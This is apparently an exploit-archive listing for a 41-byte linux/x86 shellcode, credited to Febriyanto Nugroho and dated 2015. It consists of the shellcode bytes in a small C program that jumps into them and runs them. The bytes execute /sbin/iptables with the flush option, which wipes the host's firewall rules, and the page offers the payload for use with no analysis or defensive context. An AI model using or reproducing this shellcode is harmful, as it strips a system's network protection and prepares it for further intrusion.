linux/x86 flush iptables - 41 bytes



EKU-ID: 4820 CVE: OSVDB-ID:
Author: Febriyanto Nugroho Published: 2015-05-06 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


// linux/x86 flush iptables - 41 bytes
// Febriyanto Nugroho
  
#include <stdio.h>
  
char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68"
                   "\x2d\x46\x89\xe1\x52\x68\x62"
                   "\x6c\x65\x73\x68\x69\x70\x74"
                   "\x61\x68\x6e\x2f\x2f\x2f\x68"
                   "\x2f\x73\x62\x69\x89\xe3\x52"
                   "\x51\x53\x89\xe1\xcd\x80";
  
int main(int argc, char **argv) {
asm("jmp %0;" : "=m" (shellcode));
}